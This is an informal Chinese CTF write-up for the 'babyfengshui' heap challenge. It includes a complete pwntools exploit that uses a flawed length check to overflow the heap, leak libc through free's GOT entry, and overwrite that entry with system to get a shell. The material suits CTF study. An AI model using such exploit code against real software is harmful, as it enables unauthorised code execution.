ubuntu16
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) //没开
基本就这里有点问题
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
而重点则是在edit函数中,首先是让用户可以随意输入text的大小,但是该大小却受if ( (v3 + **(&ptr + a1)) >= *(&ptr + a1) - 4 )的影响也就是超出存储在之前结构体中text的大小时则会退出。
创建三个堆看一下布局
在chunk0的指针
现在将free的地址改写为system的地址
我看是会创建两个堆块一个堆块是储存数据一个堆块储存姓名的 上面看到了update在判断长度的时候存在问题, 看堆布局以chunk0来说,判断条件就是:`0x08be7000+0x80>=0x08be7008` 因为我free掉一个index0的就相当于把创建的name和text的内容的堆都free(0x88+0x88) 但是,有一个问题就是,chunk0和chunk0(name)其实不一定是相邻的,这样的话就有了实现溢出的可能 我们将free掉index0号堆然后重新申请0x100,就可以使他chunk-name和chunk-text不相邻,这样我们chunk-text就可以输入任意大小的数据
这样从申请的chunk-text溢出到chunk1的堆块的
hex(0x87311a0-0x8731000)-0x8 //这个我猜的,真实情况下还是一个个慢慢填调吧!
泄漏的libc来计算基地址,计算出getshell函数
p.recvuntil("description: ") free_addr=u32(p.recv(4)) print hex(free_addr) libc_addr=free_addr-libc.symbols['free'] system=libc_addr+libc.symbols['system']
我们之前往chunk2中写入了’/bin/sh‘,现在将free的地址改写为system的地址,这样在执行free(chunk2)的时候就变成了执行system(’/bin/sh’)这样就可以获取shell了
update(1,0x8,p32(system)) delete(2) p.interactive()
exp:
from pwn import * context.log_level='debug' p=process('./babyfengshui_33c3_2016') elf=ELF('./babyfengshui_33c3_2016') libc=ELF('/lib/i386-linux-gnu/libc.so.6') free_got=elf.got['free'] def add(size,name,length,text): p.recvuntil("Action: ") p.sendline("0") p.sendlineafter("size of description: ",str(size)) p.sendlineafter("name: ",name) p.recvuntil("text length:") p.sendline(str(length)) p.recvuntil("text:") p.sendline(text) def delete(index): p.recvuntil("Action: ") p.sendline("1") p.recvuntil("index: ") p.sendline(str(index)) def show(index): p.recvuntil("Action: ") p.sendline("2") p.recvuntil("index: ") p.sendline(str(index)) def update(index,length,text): p.recvuntil("Action: ") p.sendline("3") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("text length: ") p.sendline(str(length)) p.recvuntil("text: ") p.sendline(text) add(0x80,"nam1",0x80,"aaaa") add(0x80,"nam2",0x80,"bbbb") add(0x80,"nam3",0x80,"/bin/sh\x00") delete(0) add(0x100,'nam1',0x100,"cccc") payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got) update(3,0x200,payload) show(1) p.recvuntil("description: ") free_addr=u32(p.recv(4)) print hex(free_addr) libc_addr=free_addr-libc.symbols['free'] system=libc_addr+libc.symbols['system'] print hex(system) update(1,0x8,p32(system)) delete(2) p.interactive()
总结:
看他上面的特性来说就是,他将你前面的free的堆块大小,正好被申请抢光了,他会到堆块的最后面申请空间
我还是懵的,为什么最后一步修改free_got表的地址可以这样来达到getshell,我还是迷迷糊糊的,改天逮一个师傅来!现在将free的地址改写为system的地址现在将free的地址改写为system的地址